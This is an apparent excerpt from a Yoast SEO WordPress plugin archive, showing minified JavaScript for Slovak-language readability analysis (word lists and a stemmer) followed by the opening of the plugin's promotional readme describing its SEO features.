o=window.yoast.analysis,a=["ktorí","ktorých","ktorými","ktorá","ktorého","ktorému","ktorom","ktorým","ktorý","ktoré","ktorej","ktorou","ktorú","lebo","keby","že","aby","alebo","keďže","kedže","lenže","ale","nakoľko","pretože","či","ak","kedy"],t=["kvôli","miesto","pre","oproti","aj","i","ani","ale","avšak","však","preto","tak","teda","hoci","aby","ako","keď","keďže","kým","pokiaľ","ohľadne","takto","tiež ","potom","takže","odtiaľ","odteraz","lebo","akonáhle","lenže","okrem","nakoľko","pokým","pretože","čiže","jednako","doteraz","dosiaľ","najmä","napríklad","napr.","napokon","predsa","určite","dodatočne","ďalej","následne","napriek","hlavne","nakoniec","medzitým","inak ","ináč","obdobne","podobne","predovšetkým","naozaj","spočiatku ","najprv","najskôr","stručne","všeobecne","samozrejme","pravdaže","doposiaľ","nielen","než","síce","pričom","až","jednak","zato","nielenže","ibaže","skôr","prv","hoc","namiesto","buďto","inakšie","hneď","kedykoľvek"],i=t.concat(["ako aj","ako i","a tak ďalej","a tak","aj tak","a jednako","a naopak","a predsa","ale jednako","ale predsa","a tým","a to","i to","jednako však","predsa však","to jest","a preto","i keby","i keď","čo aj","keby aj","pretor, aby","odvtedy čo","zatiar čo","vzhľadom na to, že","berúc do úvahy, že","napriek tomu, že","preto, aby","za účelom","za týmto účelom","skôr či neskôr ","hneď ako","len čo","pokiaľ ide o","pokiaľ nie","pokiaľ viem","po prvé","čo sa týka","až do","až na","až po","z tohto dôvodu","z toho dôvodu","no predsa","iba ak","ak nie","keď nie","tobôž nie","pravdu povediac","ako napríklad","okrem toho ","v podstate","ako je uvedené ","v každom prípade","na rozdiel od","v porovnaní s","v oboch prípadoch","stručne povedané","inými slovami","na jednej strane","na druhej strane","s týmto cieľom"]),r=function(n){let e=n;return n.forEach((o=>{(o=o.split("-")).length>0&&o.filter((e=>!n.includes(e))).length>0&&(e=e.concat(o))})),e}(["to","sa","je","si","som","a","na","že","čo","nie","v","ako","tak","ale","by","s","mi","o","tu","do","ja","sme","ste","áno","z","len","ma","už","aby","dobre","ho","keď","ak","ty","ti","za","ťa","bol","pre","sú","tam","prečo","niečo","toto","no","teraz","aj","hej","mám","byť","ich","bude","ju","takže","ten","všetko","tom","nič","vás","kde","kto","k","po","bolo","bola","ešte","vám","toho","alebo","jej","má","môj","jeho","máš","viem","vieš","mňa","tým","veľmi","mal","prosím","potom","nikdy","možno","od","nás","ani","so","povedal","chcem","neviem","mu","ďakujem","ísť","vy","naozaj","stále","teba","pretože","viac","chceš","oh","nám","ahoj","on","pred","máme","moja","musím","tie","vo","sem","môžem","dnes","budem","ktorý","niekto","práve","pane","mali","pán","poďme","všetci","pozri","myslíš","či","mať","nemôžem","asi","ktoré","keby","veľa","vždy","tiež","moje","poď","mala","stalo","trochu","my","ľudia","tomu","pri","deň","máte","tú","musíme","iba","tvoj","tento","tá","jeden","bez","chcel","mohol","veci","zo","robiť","ide","dobrý","budeš","ok","mnou","môže","viete","kým","mne","až","presne","môžeš","dosť","vážne","preto","dobré","späť","všetky","tebou","urobiť","deje","robíš","vedieť","prepáč","vďaka","však","musíš","povedala","ona","budeme","nikto","kvôli","lebo","teda","vec","nech","hneď","im","každý","svoje","než","kedy","tvoja","prepáčte","nechcem","rokov","choď","povedz","potrebujem","daj","nemám","svoju","samozrejme","raz","chce","takto","také","mohli","preč","ním","nejaké","idem","spolu","vlastne","problém","musí","žiadne","chcete","vôbec","lepšie","vidieť","môžeme","urobil","tvoje","tebe","dostať","prišiel","hovoriť","vyzerá","ktorá","dlho","kam","niekedy","von","príliš","nich","sám","celý","úplne","tej","určite","nuž","môžete","pod","fajn","váš","seba","aký","nebude","cez","niekoho","u","všetkých","aké","majú","mojej","tých","rýchlo","taký","istý","znamená","môjho","tieto","koľko","predtým","medzi","dať","tejto","čom","chcela","neho","ideme","budú","dva","tri","nebol","nejaký","svoj","podľa","mohla","nájsť","pani","vaše","budete","ľúto","pozrite","zajtra","moju","hovorí","ktorú","túto","hore","dostal","super","ďalej","naše","vedel","tomto","náš","chvíľu","dal","proste","vie","okej","jedno","pohode","dole","aspoň","vaša","nej","táto","jedna","i","oni","robí","poviem","nemôžeš","dve","ku","skôr","ktorí","radšej","zlé","páči","nami","dúfam","skoro","čože","ňou","nemá","proti","nemal","neskôr","jednu","iné","odtiaľto","nad","hovoril","prvý","vami","svojho","musíte","zdá","skvelé","dobrá","znova","koho","och","minút","sebe","nebolo","musieť","nebudem","okolo","dvaja","príde","nemôže","veľký","vidíš","prišli","tohto","ideš","tvoju","uvidíme","celé","sama","haló","čokoľvek","nemáš","musel","jedného","vrátiť","buď","potrebujeme","taká","nebola","vonku","spraviť","prišla","moc","pokiaľ","skutočne","žiadny","svojej","dám","malý","pekne","co","ňu","odísť","nechať","inak","prísť","zatiaľ","vtedy","najlepšie","sebou","celú","možné","povedali","iste","znovu","dajte","páni","predsa","dobrú","čím","istá","ach","dokonca","videli","žiť","poďte","niekde","ďalší","iný","spôsob","nemáme","toľko","ňom","nemôžeme","nový","spravil","robíte","zle","tvojej","naša","akoby","robím","pekné","pôjdem","cestu","zase","hodín","nimi","oci","oči","dá","okrem","chápem","pripravený","chceli","konečne","aká","ano","mojom","mojich","veľké","priamo","počas","nechceš","jediný","týchto","rozumiem","zdravím","môžu","urobila","mohlo","nové","robil","chcú","jednoducho","choďte","prípad","mimo","nepovedal","isté","neskoro","povedzte","tvojho","dostali","pravdepodobne","vašu","vecí","svojich","nechcel","ďalšie","ze","nejakú","týmto","vziať","dni","jo","päť","nevieš","odkiaľ","malé","mrzí","našej","ďaleko","úžasné","nemohol","nevidel","okay","obaja","všetkým","dvoch","nemali","žiadna","dní","dr.","nemala","potrebovať","zostať","ktorého","sam","rovnako","rokmi","malo","vyzeráš","potrebuješ","strane","dňa","jediná","oveľa","urobím","ó","zastaviť","vašej","nikoho","najprv","nevedel","najlepší","našich","takmer","čau","dostala","ktorých","začal","nemusíš","opäť","urobili","ktorej","aha","stačí","išiel","zlý","čase","chceme","začať","moji","niekoľko","nevie","povieš","našu","nemôžete","naspäť","pôjdeme","štyri","poznáš","sveta","robia","chlape","rozprávať","spať","pekný","veľká","nemáte","nechce","nakoniec","ono","mysli","všade","vzal","blízko","chcieť","nášho","akú","vášho","naposledy","vidíte","šiel","odkedy","neboli","vedeli","možnosť","ah","stať","každého","vnútri","hodinu","prvé","vrátim","menej","nehovor","nebudeš","čakať","urob","žiaden","um","odtiaľ","malá","musela","nejako","okamžite","mojou","poslal","prvá","záleží","iného","ne","ha","skvelý","čoho","š","new","šťastie","jedlo","zmysel","čoskoro","snažím","nechajte","you","treba","hodiny","ocko","dala","yeah","nechal","zomrel","pracovať","madam","priatelia","časť","ruku","počuť","telefón","krv","zem","chyba","mesta","správy","práci","charlie","láska","mesto","jack","strach","volám","školy","kamoš","našla","neboj","tvár","počula","syna","zavolať","zemi","rodinu","pamätáš","polícia","roku","odišiel","párty","verím","nerob","skutočnosti","meste","zbrane","dali","auta","cesty","uveriť","zistiť","chlapče","dcéra","pána","tou","zavolám","dievčatá","volal","vypadni","myslieť","šťastný","radi","chlapík","hovorila","tím","hlavy","nejde","cesta","jasne","peňazí","muži","vrátil","škole","pol","hovoríte","večeru","sex","miesta","druhý","odo","snažil","michael","sľubujem","hovoria","šéf","žije","zachrániť","šesť","nikomu","rovno","dostane","dolu","musia","výborne","posledný","vezmi","posledné","jediné","náhodou","každú","dávno","začína","jednej","nevadí","napríklad","svojom","mesiac","dostanem","zobrať","tvojom","zabudol","môcť","často","existuje","dostaneme","povie","celá","druhej","mimochodom","žiadnu","pôjde","nejaká","snáď","nechcela","mesiacov","ostatní","navždy","desať","museli","urobíme","horšie","keďže","sami","najskôr","robíme","všetkom","pozrime","hovorili","tvojich","vezmem","zober","nedá","trošku","chvíľku","ktorým","nemu","mojím","lepší","dáš","sto","dvadsať","devätnásť","osemnásť","sedemnásť","šestnásť","dvakrát","pätnásť","štrnásť","trinásty","trinásť","dvanásty","dvanásť","jedenásty","jedenásť","desiaty","deviaty","deväť","ôsmy","osem","siedmy","sedem","šiesty","piaty","štvrtý","tretí","tí","tými","mojim","môjmu","mojimi","nim","ony","akonáhle","kedže","hoci","lenže","nakoľko","pokým","tobôž","čiže","vedľa","napriek","nadol","oproti","plus","nahor","dvojslovné","namiesto","trojslovné","navyše","tamto","včera","nedávno","ihneď","kdekoľvek","nikde","celkom","tvrdo","pomaly","opatrne","ťažko","sotva","väčšinou","absolútne","spoločne","osamote","zvyčajne","príležitostne","zriedka","tisíc","milión"].concat(t)),s=[["buď, buď"],["buď, alebo"],["ani, ani"],["aj, aj"],["tak, ako"],["nielenže, lež aj"],["nielen, lež aj"],["nielen, lež i"],["nielenže, lež ai"],["či, alebo"],["i, i"],["nielen, ale i"],["síce, ale"]],d=["nejaký","nejaká","nejaké","jeden","jedna","jediný","dva","dvaja","dve","tri","trojka","traja","štyri ","štvoro","štyria","päť","pät","šesť","sedem","osem","deväť","desať","sto","tisíc","ten","tá","to","tento","táto","toto","tamten","tamtá","tamto","tí","tie","tieto","toho","tej","tomu","tú","tom","tým","tou","tých","tými","títo","tamtí","tamtie","tamtoho","tomuto","tohto"],{getWords:v}=o.languageProcessing,l=["letá","skriptá","dvojitá","autá","kráľovná","princezná","príbuzná","premenná","trstená","zelená","ošípaná","lesná","vyvolená","dobšiná","hádzaná","gazdiná","šrotovná","švagriná","výborná","záverečná","recepčná","konečná","dotyčná","černá","jediný","posledný","ostatný","neposledný","predposledný","štvrtý","dvojitý","postihnutý","svätý","zlotý","dôležitý","istý","určitý","svätý","bohatý","čistý","zlatý","častý","postihnutý","zložitý","okolitý","žltý","dohodnutý","skrytý","hustý","okamžitý","zvyknutý","krutý","zahrnutý","vzniknutý","vyvinutý","dotknutý","rozhodnutý","rozmanitý","rozvinutý","pokrytý","krytý","opitý","tekutý","spätý","neistý","prostý","nepretržitý","osobitý","prevzatý","jedovatý","zapnutý","ukradnutý","mletý","ženatý","sprostý","trávnatý","uhličitý","maloletý","nevyužitý","prežitý","skalnatý","ponúknutý","rozbehnutý","vydatý","náležitý","napätý","pustý","prenajatý","zvládnutý","vypnutý","pracovitý","zasiahnutý","neurčitý","piesočnatý","šitý","šťavnatý","zamrznutý","posadnutý","posunutý","urcitý","listnatý","guľatý","nečistý","dutý","ihličnatý","chlpatý","nápaditý","zaujatý","nedotknutý","členitý","presunutý","menovitý","hranatý","odobratý","zamknutý","zdvihnutý","natiahnutý","rovinatý","zabehnutý","novovzniknutý","potiahnutý","odtrhnutý","hornatý","zamietnutý","vyzretý","opretý","kamenistý","kľukatý","svalnatý","zarytý","prehratý","zajatý","rozpačitý","pohnutý","rozkvitnutý","stojatý","húževnatý","zlatistý","opuchnutý","hmlistý","prekrytý","vychudnutý","napnutý","plnoletý","odumretý","očitý","dojatý","strapatý","korenistý","stuhnutý","ostnatý","neplnoletý","odetý","zákonitý","vyňatý","vyschnutý","obutý","ohnutý","vlnitý","nafúknutý","zapadnutý","vystretý","mäsitý","svedomitý","spadnutý","vytiahnutý","špicatý","znamenitý","nepoužitý","ostražitý","tretý","nekrytý","uzamknutý","tienistý","zovretý","nultý","tlstý","rázovitý","ľudnatý","pospolitý","hlasitý","vychladnutý","rozpadnutý","odňatý","pritiahnutý","nedožitý","klenutý","pretiahnutý","podlhovastý","dvojitý","zaťatý","podnapitý","prasknutý","prikrytý","padnutý","vypätý","podčiarknutý","roztiahnutý","svatý","mrzutý","kopcovitý","svahovitý","guľovitý","zásaditý","bradatý","zmrznutý","zubatý","pomletý","zaniknutý","zažitý","piesčitý","zahnutý","nasiaknutý","zhnitý","iný","posledný","jediný","vlastný","hlavný","pekný","povinný","určený","vhodný","schopný","plný","samotný","silný","pripravený","voľný","podobný","spokojný","pracovný","súčasný","presvedčený","uvedený","medzinárodný","osobný","spoločný","daný","národný","základný","úspešný","potrebný","neregistrovaný","rodinný","kvalitný","finančný","zodpovedný","šťastný","skutočný","pôvodný","dnešný","otvorený","zameraný","príjemný","ročný","bežný","životný","výborný","možný","stavebný","ochotný","významný","zdravotný","vnútorný","obyčajný","hudobný","duchovný","presný","jasný","verejný","vybavený","príslušný","priemerný","červený","výrazný","samostatný","spojený","odborný","výkonný","trestný","umiestnený","moderný","schválený","obchodný","cestovný","informačný","spomínaný","vytvorený","nádherný","dostatočný","oprávnený","mobilný","zelený","náročný","úžasný","obľúbený","jedinečný","prirodzený","prítomný","obecný","slušný","kompletný","prekvapený","dostupný","operačný","pevný","večný","dolný","zvýšený","výnimočný","krvný","stanovený","súkromný","konečný","vianočný","vážený","ústavný","úplný","obmedzený","považovaný","skúsený","platný","slobodný","vyrobený","tradičný","nebezpečný","verný","vodný","všeobecný","smutný","dopravný","letný","mesačný","prírodný","drevený","osobitný","komplexný","nočný","vzdialený","denný","farebný","okresný","študijný","účinný","volebný","policajný","používaný","jemný","záverečný","sklamaný","unavený","menovaný","pokojný","zaradený","rozšírený","poškodený","odlišný","pravidelný","poverený","rozdelený","bezpečný","územný","zahraničný","slnečný","nepríjemný","horný","jednotný","zásadný","inteligentný","opačný","zimný","dotyčný","vďačný","víťazný","stručný","každodenný","slávnostný","podrobný","imunitný","stredný","značný","akčný","šikovný","prístupný","výsledný","funkčný","tohtoročný","nevyhnutný","orientovaný","ostatný","nadšený","bezpečnostný","studený","štandardný","zverejnený","situovaný","plánovaný","ochranný","podstatný","dlhoročný","perfektný","cirkevný","takzvaný","zložený","nevhodný","úprimný","stolný","stabilný","požadovaný","čestný","anonymný","lacný","reklamný","úvodný","kontrolný","nasledovný","výrobný","zábavný","viditeľný","divadelný","písomný","predpokladaný","medziročný","lesný","odolný","registrovaný","prípadný","nešťastný","jednoznačný","spôsobený","chudobný","udržateľný","luxusný","zadný","rozumný","tanečný","organizačný","drobný","zranený","zasvätený","rovný","užitočný","investičný","milovaný","hodný","hladný","bezplatný","pripojený","nekonečný","zemný","elegantný","pomocný","zbytočný","priemyselný","pohodlný","obvodný","mocný","pitný","oblečený","neobmedzený","strávený","plnohodnotný","rodný","vzájomný","prípravný","zaznamenaný","kamenný","kompaktný","vstupný","zabudovaný","peňažný","skromný","mohutný","externý","výskumný","ohrozený","predný","reprezentačný","primeraný","herný","výhodný","strašný","ný","polovičný","nezabudnuteľný","invalidný","narodený","cenný","následný","opatrný","ocenený","ústredný","sprievodný","svadobný","prepracovaný","neuveriteľný","zákonný","variabilný","využívaný","zariadený","napojený","strieborný","nazvaný","tajný","komunikačný","novotný","západný","zachovaný","nenávratný","vzdelaný","kladný","poistený","dobrovoľný","ucelený","označovaný","komerčný","vydarený","dočasný","prihlásený","hrozný","vtipný","chladný","kontaktný","komplikovaný","znížený","záväzný","jarný","večerný","odvodený","pohlavný","obklopený","zamestnaný","dôstojný","odkázaný","liečebný","netradičný","celodenný","naivný","riadený","severný","falošný","náhodný","južný","prechodný","talentovaný","závažný","dvojnásobný","jubilejný","nominovaný","nedostatočný","telekomunikačný","nainštalovaný","použiteľný","dodávaný","súťažný","prispôsobený","pripravovaný","nespokojný","získaný","tajomný","financovaný","ponúkaný","výtvarný","svetelný","zmenený","položený","vykonaný","zmluvný","vyvážený","vysvätený","potvrdený","sprevádzaný","limitovaný","služobný","postupný","podporený","registračný","vrchný","nezamestnaný","obytný","zostavený","vyplnený","príbuzný","prezentovaný","duševný","podaný","nevinný","tepelný","priestranný","ľahostajný","pridelený","náučný","zaručený","pozoruhodný","rekordný","zaslaný","nahnevaný","platený","ľubovoľný","platobný","navrhovaný","volený","ozajstný","podporovaný","úradný","pozorný","záručný","predčasný","týždenný","prepojený","nutný","popredný","vymenovaný","pilotný","požehnaný","kombinovaný","redakčný","zubný","telesný","minuloročný","ranný","temný","realitný","vyriešený","neschopný","zázračný","revolučný","interný","parný","bočný","zbavený","cestný","čudný","urobený","šialený","animovaný","veľkonočný","nudný","predbežný","oslobodený","divný","hraničný","prenosný","kvalifikovaný","prvotný","motivačný","obžalovaný","záhradný","odovzdaný","podmienený","východný","dominantný","spätný","nákladný","nenápadný","jesenný","výchovný","predmetný","detailný","drsný","špecializovaný","obranný","prehľadný","vyhradený","pyšný","spustený","podpivničený","osadený","nečakaný","porovnateľný","prepustený","nadriadený","povolaný","ovocný","výmenný","vyčerpaný","obnovený","písaný","overený","konkurenčný","kompatibilný","neúspešný","starobný","konverzný","záchranný","totožný","zastúpený","kompetentný","spodný","obohatený","chutný","firemný","relevantný","navigačný","uvoľnený","nasadený","vyjadrený","čiastočný","pamätný","posvätný","uznaný","pomenovaný","očný","kontroverzný","flexibilný","všestranný","neskutočný","zapojený","kladený","spotrebný","oddelený","nákupný","prijateľný","vyvolený","vinný","vyrábaný","nájdený","rekreačný","chybný","nemenovaný","tučný","neviditeľný","poradný","skalný","celovečerný","naladený","zateplený","hmotný","colný","zamilovaný","polyfunkčný","knižný","podriadený","hraný","vymedzený","nastaviteľný","nedeľný","priložený","odstránený","uzatvorený","renesančný","pružný","regulačný","poháňaný","vstavaný","hodnotný","splnený","vzdušný","putovný","zatvorený","porazený","vytúžený","skrátený","stíhaný","knižničný","realizačný","zmiešaný","pokrstený","aplikovaný","motivovaný","testovaný","vnímaný","milosrdný","úsporný","vítaný","čarovný","zaslúžený","nezvyčajný","pokorný","neopakovateľný","protimonopolný","učebný","odhodlaný","nádejný","povestný","železničný","podporný","obsadený","zmätený","výstižný","oboznámený","skúšobný","nadmerný","ozbrojený","rodený","čitateľný","opozičný","železný","orientačný","zavraždený","zhodný","kvalifikačný","ukrižovaný","autorizovaný","ladený","odporúčaný","oddaný","ohromný","znechutený","šokovaný","predajný","nenáročný","smrteľný","činný","uväznený","objavený","sledovaný","nosný","vecný","arogantný","hradný","zdatný","vymyslený","ohraničený","počiatočný","zanedbateľný","radostný","zrozumiteľný","hybridný","usporiadaný","multifunkčný","univerzitný","palubný","naklonený","zadaný","predposledný","narušený","naozajstný","spasený","udržiavaný","zabalený","komorný","spáchaný","stabilizačný","záhadný","osamotený","stavaný","dobrodružný","nakrútený","izolovaný","zaťažený","žiadaný","reklamačný","sviatočný","premyslený","vyhotovený","bezprostredný","údajný","korektný","dvojročný","krstný","obdobný","vyvolaný","nezmenený","koncipovaný","dodatočný","opísaný","žitný","odoslaný","zachytený","všedný","evidovaný","jazdný","černý","vylepšený","zaplatený","porušený","nevšedný","odporný","prospešný","opakovaný","trojročný","prenesený","slovný","prerobený","charakterizovaný","začarovaný","sobotný","oplotený","transparentný","uskutočnený","certifikovaný","nekompromisný","hromadný","murovaný","toaletný","varovný","diaľničný","zavesený","neplatný","hnusný","zlomený","pokazený","opravný","kúpeľný","nejasný","zaľúbený","akceptovaný","servisný","sústredený","kožený","výstavný","nápomocný","bezmocný","mravný","zaskočený","kľudný","enormný","predaný","rastlinný","nepatrný","odhalený","spisovný","preplnený","oslabený","žalovaný","útočný","nadaný","smädný","voliteľný","satelitný","účtovný","záložný","brušný","predvolebný","pravdepodobný","benefičný","relaxačný","nižný","diskusný","vyslaný","komfortný","povýšený","zaužívaný","renomovaný","zaistený","vzkriesený","výstupný","poslušný","nežný","osobnostný","hľadaný","predurčený","nezmyselný","predvedený","poistný","upozornený","poľný","úložný","referenčný","robustný","nenahraditeľný","zhubný","bezchybný","dvojpodlažný","vyšný","nájomný","predkladaný","neškodný","celoročný","stabilizovaný","nefunkčný","záporný","súhrnný","opätovný","vznešený","zasadený","celoživotný","tolerantný","statočný","zmysluplný","sprístupnený","odmenený","textilný","zhotovený","strešný","konštantný","priznaný","vyradený","bojovný","vyvíjaný","zakopaný","permanentný","nevídaný","koaličný","odložený","teplotný","priebežný","rovnocenný","pripútaný","uvádzaný","obrátený","zreteľný","adresovaný","vymastený","kultivovaný","dlžný","vytlačený","blahoslavený","zverený","umožnený","percentný","prenasledovaný","zjavný","pozáručný","zaneprázdnený","chápaný","ubytovaný","nerozhodný","neautorizovaný","prerokovaný","vypredaný","vyzvaný","približný","nemožný","operný","zjednodušený","prezývaný","vyznačený","zvyšný","recyklačný","komunitný","trojnásobný","excelentný","zablokovaný","koncentrovaný","stlačený","jednosmerný","posilnený","jednostranný","neobyčajný","vymenený","totalitný","kúpený","garantovaný","zadržaný","neprijateľný","zrealizovaný","želaný","dôsledný","rýchlostný","robený","ručný","využiteľný","zachránený","nerušený","parlamentný","dedičný","predávaný","vysnívaný","vysielaný","rekonštruovaný","útulný","doživotný","ropný","propagačný","poučený","mastný","koncertný","aktivovaný","zberný","prerušený","otočený","civilný","šetrný"],{values:p}=o.languageProcessing,{Clause:u}=p,{getClausesSplitOnStopWords:m,createRegexFromArray:k}=o.languageProcessing,c={Clause:class extends u{constructor(n,e){super(n,e),this._participles=function(n){const e=v(n),o=new RegExp("(ný|ní|tý|ná|tá|né|té)$");return e.filter((n=>o.test(n)))}(this.getClauseText()),this.checkParticiples()}checkParticiples(){const n=this.getParticiples().filter((n=>!l.includes(n)));this.setPassive(n.length>0)}},regexes:{auxiliaryRegex:k(["byť","som","si","je","sme","ste","sú","bol","bola","boli","bolo","budem","budeš","bude","budeme","budete","budú"]),stopCharacterRegex:/([:,])(?=[ \n\r\t'"+\-»«‹›<>])/gi,stopwordRegex:k(a)}};function h(n){return m(n,c)}const z=window.lodash;function b(n,e){const o=e.externalStemmer.palatalEndingsRegexes.find((e=>new RegExp(e[0]).test(n)));return o?n.replace(new RegExp(o[0]),o[1]):n.slice(0,-1)}const j=function(n,e){for(const o of e)if(o[1].includes(n))return o[0];return null},f=function(n,e){for(const o of e)if(o.includes(n))return o[0];return null};const{baseStemmer:y}=o.languageProcessing;function g(n){const e=(0,z.get)(n.getData("morphology"),"sk",!1);return e?n=>function(n,e){const o=j(n,e.exceptionLists.exceptionStemsWithFullForms);return o||(n=function(n,e){const o=e.externalStemmer.caseSuffixes,a=e.externalStemmer.caseRegexes;if(n.length>7&&n.endsWith(o.caseSuffix1))return n.slice(0,-5);if(n.length>6&&n.endsWith(o.caseSuffix2))return b(n.slice(0,-3),e);if(n.length>5){if(o.caseSuffixes3.includes(n.slice(-3)))return b(n.slice(0,-2),e);if(o.caseSuffixes4.includes(n.slice(-3)))return n.slice(0,-3)}if(n.length>4){if(n.endsWith(o.caseSuffix5))return b(n.slice(0,-1),e);if(o.caseSuffixes6.includes(n.slice(-2)))return b(n.slice(0,-2),e);if(o.caseSuffixes7.includes(n.slice(-2)))return n.slice(0,-2)}if(n.length>3){if(new RegExp(a.caseRegex1).test(n))return b(n,e);if(new RegExp(a.caseRegex2).test(n))return n.slice(0,-1)}return n}(n,e),n=function(n,e){const o=e.externalStemmer.possessiveSuffixes;if(n.length>5){if(n.endsWith(o.posSuffixOv))return n.slice(0,-2);if(n.endsWith(o.posSuffixIn))return b(n.slice(0,-1),e)}return n}(n,e),n=function(n,e){const o=e.externalStemmer.superlativePrefix;return n.length>6&&n.startsWith(o)&&(n=n.slice(3,n.length)),n.length>5&&e.externalStemmer.comparativeSuffixes.includes(n.slice(-3))&&(n=b(n.slice(0,-2),e)),n}(n,e),n=function(n,e){const o=e.externalStemmer.diminutiveSuffixes;if(n.length>7&&n.endsWith(o.diminutiveSuffix1))return n.slice(0,-5);if(n.length>6){if(o.diminutiveSuffixes2.includes(n.slice(-4)))return b(n.slice(0,-3),e);if(o.diminutiveSuffixes3.includes(n.slice(-4)))return b(n.slice(0,-4),e)}if(n.length>5){if(o.diminutiveSuffixes4.includes(n.slice(-3)))return b(n.slice(0,-3),e);if(o.diminutiveSuffixes5.includes(n.slice(-3)))return n.slice(0,-3)}if(n.length>4){if(o.diminutiveSuffixes6.includes(n.slice(-2)))return b(n.slice(0,-1),e);if(o.diminutiveSuffixes7.includes(n.slice(-2)))return n.slice(0,-1)}return n.length>3&&n.endsWith("k")&&!n.endsWith("isk")?n.slice(0,-1):n}(n,e),n=function(n,e){const o=e.externalStemmer.augmentativeSuffixes;return n.length>6&&n.endsWith(o.augmentativeSuffix1)?n.slice(0,-4):n.length>5&&o.augmentativeSuffixes2.includes(n.slice(-3))?b(n.slice(0,-2),e):n}(n,e),n=function(n,e){const o=e.externalStemmer.derivationalSuffixes;if(n.length>8&&n.endsWith(o.derivationalSuffix1))return n.slice(0,-6);if(n.length>7){if(n.endsWith(o.derivationalSuffix2))return b(n.slice(0,-4),e);if(o.derivationalSuffixes3.includes(n.slice(-5)))return n.slice(0,-5)}if(n.length>6){if(o.derivationalSuffixes4.includes(n.slice(-4)))return n.slice(0,-4);if(o.derivationalSuffixes5.includes(n.slice(-4)))return b(n.slice(0,-3),e)}if(n.length>5){if(n.endsWith(o.derivationalSuffix6))return n.slice(0,-3);if(o.derivationalSuffixes7.includes(n.slice(-3)))return b(n.slice(0,-2),e);if(o.derivationalSuffixes8.includes(n.slice(-3)))return n.slice(0,-3)}if(n.length>4){if(o.derivationalSuffixes9.includes(n.slice(-2)))return n.slice(0,-2);if(o.derivationalSuffixes10.includes(n.slice(-2)))return b(n.slice(0,-1),e)}const a=new RegExp(e.externalStemmer.derivationalRegex);return n.length>3&&a.test(n)?n.slice(0,-1):n}(n,e),f(n,e.exceptionLists.stemsThatBelongToOneWord)||n)}(n,e):y}const{AbstractResearcher:x}=o.languageProcessing;class S extends x{constructor(n){super(n),delete this.defaultResearches.getFleschReadingScore,Object.assign(this.config,{language:"sk",passiveConstructionType:"periphrastic",stopWords:a,functionWords:r,transitionWords:i,twoPartTransitionWords:s,firstWordExceptions:d}),Object.assign(this.helpers,{getClauses:h,getStemmer:g})}}(window.yoast=window.yoast||{}).Researcher=e})();wordpress-seo/readme.txt000064400000053746147510273070011403 0ustar00=== Yoast SEO ===
Contributors: yoast, joostdevalk, tdevalk
Donate link: https://yoa.st/1up
License: GPLv3
License URI: http://www.gnu.org/licenses/gpl.html
Tags: SEO, XML sitemap, Content analysis, Readability, Schema
Tested up to: 6.7
Stable tag: 24.2
Requires PHP: 7.2.5

Improve your WordPress SEO: Write better content and have a fully optimized WordPress site using the Yoast SEO plugin.

== Description ==

## YOAST SEO: THE #1 WORDPRESS SEO PLUGIN

Since 2008, Yoast SEO has helped millions of websites worldwide to rank higher in search engines.

Yoast’s mission is **SEO for Everyone**. Our plugin’s users range from the bakery around the corner to some of the most popular sites on the planet.

Yoast SEO Free contains everything that you need to manage your SEO, and the [Yoast SEO Premium](https://yoa.st/1v8) plugin and its extensions unlock even more tools and functionality.

### HANDING YOU THE COMPETITIVE EDGE

SEO is the most consistent and cost-effective website traffic source, but it can be a challenging and complex maze. Whether you're just starting out, or an advanced user you don’t have to do this alone. We’re here to help!

You haven't time to learn and keep up with SEO best practices? You aren't alone. Keeping Yoast SEO up-to-date with the latest version means you automatically receive all of the 'under the hood' updates to schema markup and technical SEO fundamentals. We also guide you through optimizing your on-site content with our signature traffic lights approach. 

Empower search engines to fully understand your website using our Schema.org structured data integration.

Yoast SEO offers comprehensive analysis tools that help elevate your content's SEO and readability. Get powerful insights and actionable recommendations to craft helpful content that resonates with readers and search engines.

**Premium Yoast AI features** Get suggestions for your titles and descriptions at the click of a button. The [Yoast AI features](https://yoa.st/51c) save you time and optimize for higher click-through-rates.

* Yoast AI Generate enables users to generate meta descriptions and titles for your pages, blog posts and social posts. Great! Even better, when you also have [Yoast WooCommerce SEO](https://yoa.st/3rh), you can receive suggestions for product SEO titles and descriptions too! The best part, if you don't like the 5 suggestions, you can generate five more at a click.
* Yoast AI Optimize helps you optimize existing content for search engines. Optimize three of the assessments in the Yoast SEO Analysis; Keyphrase in introduction, Keyphrase distribution and Keyphrase density, with easy dismiss or apply options.


#### QUICK AND EASY SETUP TO GET YOU STARTED

Setting up Yoast SEO is smooth, hassle-free, and doesn't require any advanced knowledge! Our step-by-step configuration walks you through the essentials, helping you get up and running quickly.

You'll be prompted to fill in details about your site during the setup. This enables Yoast SEO to translate all this information into structured data, which helps search engines better understand your content and website!

Are you already using another SEO plugin? Transitioning from other plugins to Yoast SEO is a breeze. We've designed it to be seamless, ensuring you don't lose critical data.

Our export and import option makes it a breeze to take the SEO settings from one Yoast SEO-optimized website to another. 

#### TAKING CARE OF YOUR TECHNICAL SEO NEEDS

Although technical optimization is a big part of SEO, it's not easy. We understand that only some people who work on SEO are experts or have the time to dive into the technical aspects of a website. That's why Yoast SEO handles much of the technical optimization, freeing up your time to work on other parts of your website, like writing helpful content.

* **Get automated technical SEO improvements**, like optimized meta tags, right out of the box.

* **Add canonical URLs** to tell search engines which content they should show when you have pages with similar content.

* Get **advanced XML sitemaps**, making it effortless for search engines to understand your site structure and index your web pages effectively.

* **Get best-in-class Schema.org structured data integration**, significantly increasing your chances of getting visually rich search results that attract more users.

* **Take complete control over your site's breadcrumbs**, allowing visitors and search engines to navigate your website seamlessly.

* **Significantly improves your website's loading times**, courtesy of our innovative data management techniques tailored for WordPress.

* [Advanced] Yoast SEO comes with crawl settings that **optimize how search engines crawl your site** and reduce its carbon footprint. This lowers your site's environmental impact and contributes to a sustainable web.

#### WRITE AWESOME CONTENT THAT USERS AND SEARCH ENGINES LOVE

Unlock the full potential of your content with Yoast SEO's **state-of-the-art content analysis**. Crafting compelling content becomes easier with features designed to help you increase your website's performance.

* **Leverage detailed SEO analysis** that guides you toward creating SEO-friendly content, allowing you to target the right keywords and boost your visibility in search results.

* **Drive engagement and enhance readability** with the integrated readability analysis. Ensure your content is clear, concise, and effortlessly readable by humans and search engines alike.

* Preview your content as it appears in SERPs, even on mobile devices. This helps you to **fine-tune your meta titles and descriptions to maximize click-through rates**.

* Enable your HowTo content to be displayed in search results by using the **innovative Schema structured data blocks** for the WordPress block editor

* **A dedicated breadcrumbs block** ensures your users always know their location within your website.

* **Embrace inclusivity in your content creation process with the inclusive language analysis**. This optional feature analyzes your text and provides suggestions to make your content more considerate of different audiences. By using inclusive language, you’ll ensure your content resonates with diverse groups of people.

